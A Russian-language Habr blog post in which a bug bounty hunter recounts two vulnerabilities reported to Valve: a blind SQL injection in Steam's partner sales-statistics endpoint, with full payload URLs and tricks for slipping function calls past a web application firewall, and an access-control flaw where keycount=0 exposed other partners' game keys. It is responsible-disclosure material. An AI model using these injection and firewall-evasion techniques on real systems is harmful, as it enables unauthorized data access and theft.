Как я взломал Steam. Дважды

Привет, хабр! Сегодня я расcкажу за что же Valve заплатила наибольшие баунти за историю их программы по вознаграждению за уязвимости. Добро пожаловать под кат!

6jzbjqwm54kjaonciarskoos0fi.png

1. SQL Injection


Сервис partner.steampowered.com предназначен для получения финансовой информации партнеров Steam. На странице отчётов о продажах рисуется график с кнопками, которые меняют период отображения статистики. Вот они в зелёненьком прямоугольнике:

kxsvrry7aicwzjut5chb_j2exhg.png

Запрос загрузки статистики выглядит вот так:

vb26vydaudwl7rcusm0vyjnek14.png
где «UA» — это код страны.

Ну что ж, пришло время кавычек!
Давайте пробуем «UA'»:

7sxufpkpcieqwxldj8yuklhui2g.png

Статистика НЕ вернулась, чего и следовало ожидать.

Теперь «UA''»:

f9pzpmv4lem2283_qopey71x69k.png

Статистика снова вернулась и это похоже на инъекцию!

Почему?
Допустим что инструкция к базе данных выглядит таким образом:
SELECT * FROM countries WHERE country_code = `UA`;

Если отправить UA», то инструкция к базе данных будет:
SELECT * FROM countries WHERE country_code = `UA``; 

Заметили лишнюю кавычку? А это значит, что инструкция невалидна.
Соответсвенно синтаксису SQL — запрос ниже вполне валиден (лишних кавычек нет):
SELECT * FROM countries WHERE country_code = `UA```;


Обратите внимание, мы имеем дело с массивом countryFilter[]. Я предположил, что если в запросе продублировать параметр countryFilter[] несколько раз, то все значения, которые мы отправим, будут объедины в SQL запросе таким образом:

'value1', 'value2', 'value3'


Проверяем и убеждаемся:
tmt0ubgrptaw2iy8gfxwqwkqvnm.png
Фактически, мы запросили у БД статистику трёх стран:

`UA`, `,` ,`RU`


Синтаксис верный — статистика вернулась :)

Обход Web Application Firewall

Сервера Steam прячутся за Akamai WAF. Данное безобразие вставляет палки в колёса хорошим (и не очень) хакерам. Однако, мне удалось одолеть его благодаря объединению значений массива в один запрос (то что я объяснил выше) и комментированию. Для начала убедимся в наличии последнего:

?countryFilter[]=UA`/*&countryFilter[]=*/,`RU


Запрос валиден, значит в нашем ассортименте есть комментарии.

У нас было несколько вариантов синтаксиса, локальные базы для тестирования пэйлоадов, символы комментариев и бесконечное множество кавычек всех кодировок, а также самописные скрипты на пайтоне, документация по всем базам данных, инструкции по обходу файрволов, википедия и античат. Не то чтобы это был необходимый запас для раскрутки инъекции, но раз уж начал ломать базу данных, то сложно остановиться…


WAF блокирует запрос, когда встречает в нём функцию. Вы знали, что DB_NAME/**/() — вполне валидный вызов функции? Файрвол тоже знает и блокирует. Но, благодаря этой фиче, мы можем разделить вызов функции на два параметра!

?countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU


Мы отправили заспрос с DB_NAME/*всёчтоугодно*/() — WAF ничего не понял, а вот база данных успешно обработала такую инструкцию.

Получение значений из базы данных

Итак, пример получения длины значения DB_NAME ():

https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),'


По-SQLному:

SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END


Ну и по-человечески:

Если длина DB_NAME() равна "1", то результат  "UA”, иначе результат "qwerty”.


Это значит, что если сравнение истинно, то в ответ получим статистику для страны «UA». Не сложно догадаться, что перебирая значения от 1 до бесконечности, мы рано или поздно найдём верное.
Таким же способом можно перебирать текстовые значения:

Если первый символ  DB_NAME() равен "a”, то "UA", иначе "qwerty". 


Обычно для получения N-ого символа используют функцию «substring», но WAF упорно её блокировал. Тут на помощь пришла комбинация:

right(left(system_user,N),1)


Как это работает? Получаем N символов значения system_user из которых забираем последний.
Представим, что system_user = «steam». Вот так будет выглядеть получение третьего символа:

left(system_user,3) = ste
right("ste”,1) = e


С помощью простого скрипта этот процесс был автоматизирован и я получил hostname, system_user, version и названия всех БД. Этой информации более чем достаточно (последнее даже лишнее, но было интересно) для демонстрации критичности.

Через 5 часов уязвимость была исправленна, однако статус triaged (принята) ей выставили через 8 часов и, чёрт возьми, для меня это были очень сложные 3 часа за которые мой мозг успел пережить стадии от отрицания до принятия.

Пояснение паранойи

Так как уязвимость не обозначили принятой, я полгал что очередь до моего репорта ещё не дошла. Но баг то исправили, а значит его могли зарепортить раньше меня.

2. Получение всех ключей от любой игры.


В интерфейсе партнера Steam существует функционал генерации ключей к играм.
Скачать сгенерированный набор ключей можно с помощью запроса:

https://partner.steamgames.com/partnercdkeys/assignkeys/

&sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download


В этом запросе параметр keyid — id набора ключей, а keycount — количество ключей, которое необходимо получить из данного набора.

Конечно же, руки мгновенно потянулись вбивать разные keyid, но в ответ меня ждала ошибка:»Couldn`t generate CD keys: No assignment for user.». Оказалось, не всё так просто, и Steam проверял принадлежит ли мне запрошенный набор ключей. Как же я обошёл данную проверку? Внимание…

keycount=0


Сгенерировался файл с 36,000 ключей от игры Portal 2. Вау.
Только в одном наборе оказалось такое количество ключей. А всего наборов на данный момент более 430,000. Таким образом, перебирая значения keyid я потенциальный злоумышленник мог скачать все ключи, когда-либо сгенерированные разработчиками игор Steam.

Выводы


  • Если вы охотник за багами, то старайтесь проникнуть как можно глубже. Чем меньше пользователей имеют доступ к интерфейсу, тем больше вероятности найти в этом интерфейсе уязвимость.
  • Разработчики и владельцы бизнеса, абсолютно безопасных приложений нет! Но вы держитесь. Хорошего вам настроения!


А если серьезно

Делайте пентесты, платите за уязвимости, думайте стратегически.

© Habrahabr.ru